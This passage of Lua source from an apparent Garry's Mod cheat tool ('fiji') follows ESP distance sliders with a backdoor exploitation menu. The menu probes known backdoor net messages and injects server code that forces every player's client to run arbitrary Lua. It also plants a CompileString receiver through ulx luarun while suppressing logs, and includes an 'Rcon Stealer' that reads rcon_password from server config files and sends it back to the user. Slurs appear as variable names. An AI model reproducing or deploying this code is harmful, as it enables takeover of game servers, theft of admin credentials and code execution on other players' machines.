5225draw.SimpleText( "ДиÑÑ‚Ð°Ð½Ñ†Ð¸Ñ Ð•Ð½Ñ‚Ð¸Ñ‚Ð¸", "pity_home5", 10, h / 2, color_white, 0, 1 )
5226end
5227local pP4 = vgui.Create( "DPanel", pContent )
5228pP4:SetSize( 205, 50 )
5229pP4:SetPos( 297, 261 )
5230function pP4:Paint( w, h )
5231draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5232draw.SimpleText( "ДиÑÑ‚Ð°Ð½Ñ†Ð¸Ñ ÐŸÑ€Ð¾Ð¿Ð¾Ð²", "pity_home5", 10, h / 2, color_white, 0, 1 )
5233end
5234local TextEsp = vgui.Create( "DPanel", pContent )
5235TextEsp:SetSize(100,30)
5236TextEsp:SetPos(220,355)
5237TextEsp.Paint = function( self, w, h )
5238draw.RoundedBox( 0, 0, 0, w, h, Color( 255,110,110, 0 ) )
5239end
5240
5241local pDistanceA = vgui.Create( "DNumSlider", pContent )
5242pDistanceA:SetPos( 68, 188 )
5243pDistanceA:SetSize( 180, 50 )
5244pDistanceA:SetText( "" )
5245pDistanceA:SetMin( 120 )
5246pDistanceA:SetMax( 2000 )
5247pDistanceA:SetDecimals( 0 )
5248pDistanceA:SetValue( fiji_vision_distance_infos:GetInt() or 200 )
5249pDistanceA.Scratch:SetVisible( false )
5250pDistanceA.TextArea:SetTextColor( color_white )
5251function pDistanceA.Slider:Paint(w, h)
5252surface.SetDrawColor(0, 0, 0, 255)
5253surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5254if fiji_style_menu:GetInt() == 2 then
5255surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5256surface.DrawRect(0, 21, barw, h / 5)
5257
5258elseif fiji_style_menu:GetInt() == 1 then
5259surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5260surface.DrawRect(0, 21, barw, h / 5)
5261
5262else
5263surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5264surface.DrawRect(0, 21, barw, h / 5)
5265end
5266end
5267function pDistanceA:SetHeight(tall)
5268self.Slider.Knob:SetHeight(tall / 2 + 4)
5269DSlider.SetHeight(self, tall)
5270pDistanceA.SetTall = pDistanceA.SetHeight
5271pDistanceA.Slider.Knob:SetTall(5)
5272end
5273function pDistanceA.Slider.Knob:Paint(w, h)
5274derma.SkinHook( "Paint", "Button", self, 0, 0 )
5275end
5276function pDistanceA:OnValueChanged( val )
5277RunConsoleCommand( 'BD_hitman_distance_infos', tonumber( self:GetValue() ) )
5278end
5279
5280
5281local pDistance = vgui.Create( "DNumSlider", pContent )
5282pDistance:SetPos( 68, 133 )
5283pDistance:SetSize( 180, 50 )
5284pDistance:SetText( "" )
5285pDistance:SetMin( 120 )
5286pDistance:SetMax( 10000 )
5287pDistance:SetDecimals( 0 )
5288pDistance:SetValue( fiji_vision_distance:GetInt() or 200 )
5289pDistance.Scratch:SetVisible( false )
5290pDistance.TextArea:SetTextColor( color_white )
5291function pDistance:OnValueChanged( val )
5292RunConsoleCommand( 'BD_hitman_distance', tonumber( self:GetValue() ) )
5293end
5294function pDistance.Slider:Paint(w, h)
5295surface.SetDrawColor(0, 0, 0, 255)
5296surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5297if fiji_style_menu:GetInt() == 2 then
5298surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5299surface.DrawRect(0, 21, barw, h / 5)
5300
5301elseif fiji_style_menu:GetInt() == 1 then
5302surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5303surface.DrawRect(0, 21, barw, h / 5)
5304
5305else
5306surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5307surface.DrawRect(0, 21, barw, h / 5)
5308end
5309end
5310function pDistance:SetHeight(tall)
5311self.Slider.Knob:SetHeight(tall / 2 + 4)
5312DSlider.SetHeight(self, tall)
5313pDistance.SetTall = pDistance.SetHeight
5314pDistance.Slider.Knob:SetTall(5)
5315end
5316function pDistance.Slider.Knob:Paint(w, h)
5317derma.SkinHook( "Paint", "Button", self, 0, 0 )
5318end
5319
5320
5321local pDistanceB = vgui.Create( "DNumSlider", pContent )
5322pDistanceB:SetPos( 330, 64 )
5323pDistanceB:SetSize( 180, 50 )
5324pDistanceB:SetText( "" )
5325pDistanceB:SetMin( 200 )
5326pDistanceB:SetMax( 20000 )
5327pDistanceB:SetDecimals( 0 )
5328pDistanceB:SetValue( fiji_vision_distance_ent:GetInt() or 200 )
5329pDistanceB.Scratch:SetVisible( false )
5330pDistanceB.TextArea:SetTextColor( color_white )
5331function pDistanceB:OnValueChanged( val )
5332RunConsoleCommand( 'BD_hitman_distance_ent', tonumber( self:GetValue() ) )
5333end
5334function pDistanceB.Slider:Paint(w, h)
5335surface.SetDrawColor(0, 0, 0, 255)
5336surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5337if fiji_style_menu:GetInt() == 2 then
5338surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5339surface.DrawRect(0, 21, barw, h / 5)
5340
5341elseif fiji_style_menu:GetInt() == 1 then
5342surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5343surface.DrawRect(0, 21, barw, h / 5)
5344
5345else
5346surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5347surface.DrawRect(0, 21, barw, h / 5)
5348end
5349end
5350function pDistanceB:SetHeight(tall)
5351self.Slider.Knob:SetHeight(tall / 2 + 4)
5352DSlider.SetHeight(self, tall)
5353pDistanceB.SetTall = pDistanceB.SetHeight
5354pDistanceB.Slider.Knob:SetTall(5)
5355end
5356function pDistanceB.Slider.Knob:Paint(w, h)
5357derma.SkinHook( "Paint", "Button", self, 0, 0 )
5358end
5359
5360local pDistanceC = vgui.Create( "DNumSlider", pContent )
5361pDistanceC:SetPos( 330, 261 )
5362pDistanceC:SetSize( 180, 50 )
5363pDistanceC:SetText( "" )
5364pDistanceC:SetMin( 200 )
5365pDistanceC:SetMax( 15000 )
5366pDistanceC:SetDecimals( 0 )
5367pDistanceC:SetValue( fiji_vision_distance_props:GetInt() or 200 )
5368pDistanceC.Scratch:SetVisible( false )
5369pDistanceC.TextArea:SetTextColor( color_white )
5370function pDistanceC:OnValueChanged( val )
5371RunConsoleCommand( 'BD_hitman_distance_props', tonumber( self:GetValue() ) )
5372end
5373function pDistanceC.Slider:Paint(w, h)
5374surface.SetDrawColor(0, 0, 0, 255)
5375surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5376if fiji_style_menu:GetInt() == 2 then
5377surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5378surface.DrawRect(0, 21, barw, h / 5)
5379
5380elseif fiji_style_menu:GetInt() == 1 then
5381surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5382surface.DrawRect(0, 21, barw, h / 5)
5383
5384else
5385surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5386surface.DrawRect(0, 21, barw, h / 5)
5387end
5388end
5389function pDistanceC:SetHeight(tall)
5390self.Slider.Knob:SetHeight(tall / 2 + 4)
5391DSlider.SetHeight(self, tall)
5392pDistanceC.SetTall = pDistanceC.SetHeight
5393pDistanceC.Slider.Knob:SetTall(5)
5394end
5395function pDistanceC.Slider.Knob:Paint(w, h)
5396derma.SkinHook( "Paint", "Button", self, 0, 0 )
5397end
5398end
5399
5400
5401
5402
5403
5404concommand.Add("fiji_bckdrs", function()
5405
5406local bdactiv = "";
5407
5408function bdactiv( str )
5409local status, error = pcall( net.Start, str )
5410return status
5411end
5412
5413if( bdactiv("Ulx_Error_88") ) then
5414bdactivname = "Ulx_Error_88"
5415else
5416end
5417if( bdactiv("FAdmin_Notification_Receiver") ) then
5418bdactivname = "FAdmin_Notification_Receiver"
5419else
5420end
5421if( bdactiv("DarkRP_ReceiveData") ) then
5422bdactivname = "DarkRP_ReceiveData"
5423else
5424end
5425if( bdactiv("fijiconn") ) then
5426bdactivname = "fijiconn"
5427else
5428end
5429if( bdactiv("Weapon_88") ) then
5430bdactivname = "Weapon_88"
5431else
5432end
5433if( bdactiv("nostrip") ) then
5434bdactivname = "nostrip"
5435else
5436end
5437if( bdactiv("SessionBackdoor") ) then
5438bdactivname = "SessionBackdoor"
5439else
5440end
5441if( bdactiv("DarkRP_AdminWeapons") ) then
5442bdactivname = "DarkRP_AdminWeapons"
5443else
5444end
5445if( bdactiv("_CAC_ReadMemory") ) then
5446bdactivname = "_CAC_ReadMemory"
5447else
5448end
5449if( bdactiv("thefrenchenculer") ) then
5450bdactivname = "thefrenchenculer"
5451else
5452end
5453if( bdactiv("Fix_Keypads") ) then
5454bdactivname = "Fix_Keypads"
5455else
5456end
5457if( bdactiv("Remove_Exploiters") ) then
5458bdactivname = "Remove_Exploiters"
5459else
5460end
5461if( bdactiv("MoonMan") ) then
5462bdactivname = "MoonMan"
5463else
5464end
5465if( bdactiv("disablebackdoor") ) then
5466bdactivname = "disablebackdoor"
5467else
5468end
5469if( bdactiv("Sbox_itemstore") ) then
5470bdactivname = "Sbox_itemstore"
5471else
5472end
5473if( bdactiv("Sbox_darkrp") ) then
5474bdactivname = "Sbox_darkrp"
5475else
5476end
5477if( bdactiv("R8") ) then
5478bdactivname = "R8"
5479else
5480end
5481if( bdactiv("c") ) then
5482bdactivname = "c"
5483else
5484end
5485if( bdactiv("_cac_") ) then
5486bdactivname = "_cac_"
5487else
5488end
5489if( bdactiv("_Defqon") ) then
5490bdactivname = "_Defqon"
5491else
5492end
5493if( bdactiv("noclipcloakaesp_chat_text") ) then
5494bdactivname = "noclipcloakaesp_chat_text"
5495else
5496end
5497if( bdactiv("Sandbox_ArmDupe") ) then
5498bdactivname = "Sandbox_ArmDupe"
5499else
5500end
5501
5502
5503
5504local it = 50
5505if not snte then
5506
5507function BD.Fire( code )
5508
5509local cbd = BD.CurrentBackdoor
5510
5511if !BD.Backdoors[cbd] then
5512
5513
5514
5515return
5516
5517end
5518
5519local key = BD.BackdoorTypes[cbd].Netkey
5520
5521
5522
5523bdnet().Start( key )
5524
5525bdnet().WriteString( code )
5526
5527bdnet().SendToServer()
5528
5529end
5530
5531BD.Backdoors = BD.PingBackDoors()
5532if !BD.IsMessagePooled( "pitysaver" ) and BD.BackdoorActive() then
5533BD.Fire( [[util.AddNetworkString( "pitysaver" )
5534function BDSendLua( p, str ) net.Start( "pitysaver" ) net.WriteString( str ) net.Send( p ) end
5535function BDSendLuaAll( str ) net.Start( "pitysaver" ) net.WriteString( str ) net.Broadcast() end
5536function BDInjectAids( p ) p:SendLua( 'net.Receive( "pitysaver", function() RunString( net.ReadString() ) end )' ) end
5537for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
5538hook.Add( "PlayerInitialSpawn", "pityforever", function( p ) BDInjectAids( p ) end)
5539]] )
5540end
5541
5542local BackdoorsMenu = vgui.Create( "DFrame" )
5543BackdoorsMenu:SetSize( 700, 400 )
5544BackdoorsMenu:Center()
5545BackdoorsMenu:SetTitle("")
5546BackdoorsMenu:SetDraggable(true)
5547BackdoorsMenu:ShowCloseButton( false )
5548BackdoorsMenu:MakePopup()
5549function BackdoorsMenu:Paint( w, h )
5550
5551
5552DrawBlur(self, 25)
5553draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
5554if fiji_style_menu:GetInt() == 2 then
5555draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
5556draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5557draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5558draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5559elseif fiji_style_menu:GetInt() == 1 then
5560draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5561draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5562draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5563draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5564else
5565draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5566draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5567draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5568draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5569end
5570end
5571
5572concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
5573BackdoorsMenu:Remove()
5574
5575end)
5576
5577local TextBackdoor = vgui.Create( "DPanel", BackdoorsMenu )
5578TextBackdoor:SetSize(700,400)
5579TextBackdoor:SetPos(0,0)
5580TextBackdoor.Paint = function( self, w, h )
5581--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5582draw.SimpleText("♦ Commandes générales", "DermaDefault", 65, 15, Color(255, 255, 255,100), 0, 1)
5583draw.SimpleText("♦ Commandes par joueurs", "DermaDefault", 65, 120, Color(255, 255, 255,100), 0, 1)
5584draw.SimpleText("Параметры комманды :", "DermaDefault", 475, 320, Color(255, 255, 255,100), 0, 1)
5585
5586end
5587
5588local CloseBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5589CloseBackdoors:SetPos( 670, 8)
5590CloseBackdoors:SetSize( 20, 15 )
5591CloseBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5592CloseBackdoors:SetText( "X" )
5593CloseBackdoors.Paint = function( self, w, h )
5594draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5595if self:IsHovered() then
5596draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5597else
5598draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5599end
5600CloseBackdoors.DoClick = function()
5601LocalPlayer():ConCommand("fiji_sv_existmen 0")
5602BackdoorsMenu:Remove()
5603end
5604end
5605
5606local ReturnBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5607ReturnBackdoors:SetPos( 638, 8)
5608ReturnBackdoors:SetSize( 30, 15)
5609ReturnBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5610ReturnBackdoors:SetText( "<--" )
5611ReturnBackdoors.Paint = function( self, w, h )
5612draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5613if self:IsHovered() then
5614draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5615else
5616draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5617end
5618ReturnBackdoors.DoClick = function()
5619LocalPlayer():ConCommand("lyr3x")
5620BackdoorsMenu:Remove()
5621end
5622end
5623
5624local wedungoofd = vgui.Create( "DLabel", BackdoorsMenu )
5625wedungoofd:SetPos( 13, 0 )
5626wedungoofd:SetFont( "Trebuchet18" )
5627wedungoofd:SetColor( Color( 120, 50, 50 ) )
5628wedungoofd:SetText( "" )
5629wedungoofd:SizeToContents()
5630for bd, t in pairs( BD.BackdoorTypes ) do
5631---------------------------------------------------------------------------------------------------------
5632---------------------------------------------------------------------------------------------------------
5633local faggot = vgui.Create("DButton", BackdoorsMenu)
5634faggot:SetSize( 50, 14 )
5635faggot:SetPos( 10, 1+it-it/1.18 )
5636faggot:SetText( bd )
5637faggot.Paint = function(panel, w, h)
5638
5639if BD.Backdoors[bd] then
5640faggot:SetTextColor(Color(255, 255, 255, 255))
5641draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 230 ) )
5642draw.RoundedBox( 20, 0, 0, 2, h, Color( 100, 100, 100, 120 ) )
5643draw.RoundedBox( 2, 0, 0, w, 2, Color( 100, 100, 100, 120 ) )
5644draw.RoundedBox( 2, w - 2, 0, 2, h, Color( 100, 100, 100, 120 ) )
5645draw.RoundedBox( 2, 0, h - 2, w, 2, Color( 100, 100, 100, 120 ) )
5646else
5647faggot:SetTextColor(Color(255, 255, 255, 50))
5648draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 120 ) )
5649end
5650end
5651faggot.DoClick = function()
5652if BD.Backdoors[bd] then
5653NOTIFICATION("Vous utilisez désormais la backdoor "..bd)
5654BD.CurrentBackdoor = bd
5655surface.PlaySound( "buttons/combine_button1.wav" )
5656else
5657NOTIFICATIONNO("Backdoor non présente")
5658end
5659end
5660it = it + 105
5661end
5662
5663local PlistAll = vgui.Create( "DPanelList", BackdoorsMenu )
5664PlistAll:SetPos( 62, 25 )
5665PlistAll:SetSize( 630, 200 )
5666PlistAll:SetPadding( 0 )
5667PlistAll:SetSpacing( 2 )
5668PlistAll:EnableHorizontal( true )
5669PlistAll:EnableVerticalScrollbar( true )
5670PlistAll:SetName( "" )
5671PlistAll.Paint = function( self, w, h )
5672--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5673
5674
5675end
5676local PlistAllOnePlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5677PlistAllOnePlayer:SetPos( 62, 130 )
5678PlistAllOnePlayer:SetSize( 630, 166 )
5679PlistAllOnePlayer:SetPadding( 0 )
5680PlistAllOnePlayer:SetSpacing( 2 )
5681PlistAllOnePlayer:EnableHorizontal( true )
5682PlistAllOnePlayer:EnableVerticalScrollbar( true )
5683PlistAllOnePlayer:SetName( "" )
5684PlistAllOnePlayer.Paint = function( self, w, h )
5685--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5686
5687end
5688local PlistAllPlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5689PlistAllPlayer:SetPos( 62, 250 )
5690PlistAllPlayer:SetSize( 314, 115 )
5691PlistAllPlayer:SetPadding( 0 )
5692PlistAllPlayer:SetSpacing( 1 )
5693PlistAllPlayer:EnableHorizontal( false )
5694PlistAllPlayer:EnableVerticalScrollbar( true )
5695PlistAllPlayer:SetName( "" )
5696PlistAllPlayer.Paint = function( self, w, h )
5697--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5698surface.SetDrawColor(0, 0, 0 ,0)
5699surface.DrawOutlinedRect(0, 0, w, h)
5700surface.DrawOutlinedRect(1, 1, w-2, h-2)
5701surface.DrawOutlinedRect(2, 2, w-4, h-4)
5702surface.SetDrawColor(0, 0, 0 ,100)
5703surface.DrawRect(0, 0, w, h)
5704end
5705local faggot = vgui.Create("DButton", BackdoorsMenu)
5706faggot:SetSize( 311, 30 )
5707faggot:SetPos( 380, 361 )
5708faggot:SetText("ЗапуÑтить/ОÑтановить")
5709faggot:SetTextColor(Color(255, 255, 255, 255))
5710faggot.Paint = function(panel, w, h)
5711if faggot:IsHovered() then
5712if fiji_style_menu:GetInt() == 2 then
5713surface.SetDrawColor(50, 50, 50 ,150)
5714surface.DrawRect(0, 0, w, h)
5715surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5716surface.DrawOutlinedRect(0, 0, w, h)
5717
5718elseif fiji_style_menu:GetInt() == 3 then
5719surface.SetDrawColor(50, 50, 50 ,150)
5720surface.DrawRect(0, 0, w, h)
5721surface.SetDrawColor(255, 91, 91)
5722surface.DrawOutlinedRect(0, 0, w, h)
5723
5724elseif fiji_style_menu:GetInt() == 1 then
5725
5726surface.SetDrawColor(50, 50, 50 ,150)
5727surface.DrawRect(0, 0, w, h)
5728surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5729surface.DrawOutlinedRect(0, 0, w, h)
5730
5731else
5732surface.SetDrawColor(50, 50, 50 ,150)
5733surface.DrawRect(0, 0, w, h)
5734surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255)
5735surface.DrawOutlinedRect(0, 0, w, h)
5736
5737end end
5738surface.SetDrawColor(150, 150, 150 ,50)
5739surface.DrawOutlinedRect(0, 0, w, h)
5740end
5741faggot.DoClick = function()
5742if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une commande") return end
5743if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
5744local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5745end
5746
5747local commandpersotext = vgui.Create( "DTextEntry", BackdoorsMenu ) -- create the form as a child of frame
5748commandpersotext:SetPos( 380, 282 )
5749commandpersotext:SetSize( 103, 30 )
5750commandpersotext:SetMultiline( true )
5751commandpersotext:SetText( "" )
5752commandpersotext.OnEnter = function( self )
5753chat.AddText( self:GetValue() ) -- print the form's text as server text
5754end
5755
5756local commandperso = vgui.Create("DButton", BackdoorsMenu)
5757commandperso:SetSize( 103, 30 )
5758commandperso:SetPos( 380, 252 )
5759commandperso:SetText("Ð¡Ð²Ð¾Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°.")
5760commandperso:SetTextColor(Color(255, 255, 255, 255))
5761commandperso.Paint = function(panel, w, h)
5762if commandperso:IsHovered() then
5763surface.SetDrawColor(50, 50, 50 ,150)
5764surface.DrawRect(0, 0, w, h)
5765surface.SetDrawColor(255, 255, 255)
5766surface.DrawOutlinedRect(0, 0, w, h)
5767else
5768surface.SetDrawColor(0, 0, 0 ,150)
5769surface.DrawRect(0, 0, w, h)
5770surface.SetDrawColor(255, 255, 255 ,100)
5771surface.DrawOutlinedRect(0, 0, w, h)
5772end
5773end
5774commandperso.DoClick = function()
5775
5776LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5777
5778local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "ПожалуйÑта, выберите бÑкдур") return end
5779NOTIFICATION("ПользовательÑÐºÐ°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° уÑпешно запущена")
5780net.Start(bdactivname)
5781net.WriteString( commandpersotext:GetText() )
5782net.WriteBit (1)
5783net.SendToServer()
5784
5785end
5786
5787
5788local luarunback = vgui.Create("DButton", BackdoorsMenu)
5789luarunback:SetSize( 103, 60 )
5790luarunback:SetPos( 485, 252 )
5791luarunback:SetText("Ðктивировать бÑкдур")
5792luarunback:SetTextColor(Color(255, 255, 255, 255))
5793luarunback.Paint = function(panel, w, h)
5794if luarunback:IsHovered() then
5795surface.SetDrawColor(50, 50, 50 ,150)
5796surface.DrawRect(0, 0, w, h)
5797surface.SetDrawColor(255, 255, 255)
5798surface.DrawOutlinedRect(0, 0, w, h)
5799else
5800surface.SetDrawColor(0, 0, 0 ,150)
5801surface.DrawRect(0, 0, w, h)
5802surface.SetDrawColor(255, 255, 255 ,100)
5803surface.DrawOutlinedRect(0, 0, w, h)
5804end
5805end
5806luarunback.DoClick = function()
5807NOTIFICATION("Попытка запуÑтить бÑкдур...")
5808LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
5809timer.Simple( 0.5, function()
5810LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5811end )
5812timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] ) end )
5813timer.Simple( 0.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then NOTIFICATION("Backdoor lançé ✔") LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")
5814else LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")end end )
5815if not LocalPlayer():IsSuperAdmin() then
5816NOTIFICATIONNO("Вы не Суперадмин")
5817else
5818NOTIFICATION( "ПожалуйÑта, проверьте правильноÑть бÑкдура")
5819end
5820end
5821
5822local rconstealerh = vgui.Create("DButton", BackdoorsMenu)
5823rconstealerh:SetSize( 101, 60 )
5824rconstealerh:SetPos( 590, 252 )
5825rconstealerh:SetText("Ркон Стиллер")
5826rconstealerh:SetTextColor(Color(255, 255, 255, 255))
5827rconstealerh.Paint = function(panel, w, h)
5828if rconstealerh:IsHovered() then
5829surface.SetDrawColor(50, 50, 50 ,150)
5830surface.DrawRect(0, 0, w, h)
5831surface.SetDrawColor(255, 255, 255)
5832surface.DrawOutlinedRect(0, 0, w, h)
5833else
5834surface.SetDrawColor(0, 0, 0 ,150)
5835surface.DrawRect(0, 0, w, h)
5836surface.SetDrawColor(255, 255, 255 ,100)
5837surface.DrawOutlinedRect(0, 0, w, h)
5838end
5839end
5840rconstealerh.DoClick = function()
5841local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "ПожалуйÑта, выберите бÑкдур") return end
5842NOTIFICATION("Recherche en cours...")
5843status = ValidNetString("jeveuttonrconleul")
5844local rcon = [[
5845util.AddNetworkString("rcon_passw_dump")
5846util.AddNetworkString("jeveuttonrconleul")
5847util.AddNetworkString("aucun_rcon_ici")
5848net.Receive( "jeveuttonrconleul", function()
5849local RconPassword
5850if file.Exists("cfg/server.cfg", "GAME") then
5851for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg", "GAME"))) do
5852if string.find(v, "rcon_password") then
5853RconPassword = v
5854end
5855end
5856end
5857if not RconPassword and file.Exists("cfg/autoexec.cfg", "GAME") then
5858for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg", "GAME"))) do
5859if string.find(v, "rcon_password") then
5860RconPassword = v
5861end
5862end
5863end
5864if RconPassword ~= nil then
5865net.Start("rcon_passw_dump")
5866net.WriteString(RconPassword)
5867net.Broadcast()
5868else
5869net.Start("aucun_rcon_ici")
5870net.Broadcast()
5871end
5872end)
5873]]
5874local cbd = BD.CurrentBackdoor
5875net.Start(bdactivname)
5876net.WriteString( rcon )
5877net.WriteBit(1)
5878net.SendToServer()
5879timer.Simple( 0.5, function()
5880if status then
5881net.Start("jeveuttonrconleul")
5882net.SendToServer()
5883else
5884NOTIFICATIONNO("Rcon Пароль не найден. Попробуйте еще раз, в противном Ñлучае убедитеÑÑŒ, что на Ñервере еÑть бÑкдур")
5885end
5886end)
5887end
5888net.Receive( "rcon_passw_dump", function()
5889local rcon_pass = net.ReadString()
5890NOTIFICATION("RCON copier")
5891chat.AddText(Color(255, 255, 255), "Пароль RCON :", Color(0, 255, 0),rcon_pass)
5892SetClipboardText( rcon_pass )
5893end )
5894net.Receive( "aucun_rcon_ici", function()
5895NOTIFICATIONNO("Ðет Ð¿Ð°Ñ€Ð¾Ð»Ñ RCON в server.cfg")
5896end )
5897local moonman = vgui.Create( "DTextEntry", BackdoorsMenu )
5898moonman:SetPos( 380, 330 )
5899moonman:SetSize( 311, 30 )
5900moonman:SetText( backdoorargs )
5901moonman.OnChange = function( self )
5902backdoorargs = self:GetValue()
5903end
5904local target1 = vgui.Create("DButton", BackdoorsMenu)
5905target1:SetSize( 99, 20 )
5906target1:SetPos( 62, 368 )
5907target1:SetText("Ð’Ñе")
5908target1:SetTextColor(Color(255, 255, 255, 255))
5909target1.Paint = function(panel, w, h)
5910if target1:IsHovered() then
5911draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5912else
5913draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5914end
5915end
5916target1.DoClick = function()
5917for _, p in pairs(player.GetAll()) do
5918if not table.HasValue( selectedplayers, p ) then
5919table.insert( selectedplayers, p )
5920end
5921end
5922end
5923local target2 = vgui.Create("DButton", BackdoorsMenu)
5924target2:SetSize( 99, 20 )
5925target2:SetPos( 170, 368 )
5926target2:SetText("Отменить")
5927target2:SetTextColor(Color(255, 255, 255, 255))
5928target2.Paint = function(panel, w, h)
5929if target2:IsHovered() then
5930draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5931else
5932draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5933end
5934end
5935target2.DoClick = function()
5936table.Empty( selectedplayers )
5937end
5938local target2 = vgui.Create("DButton", BackdoorsMenu)
5939target2:SetSize( 99, 20 )
5940target2:SetPos( 277, 368 )
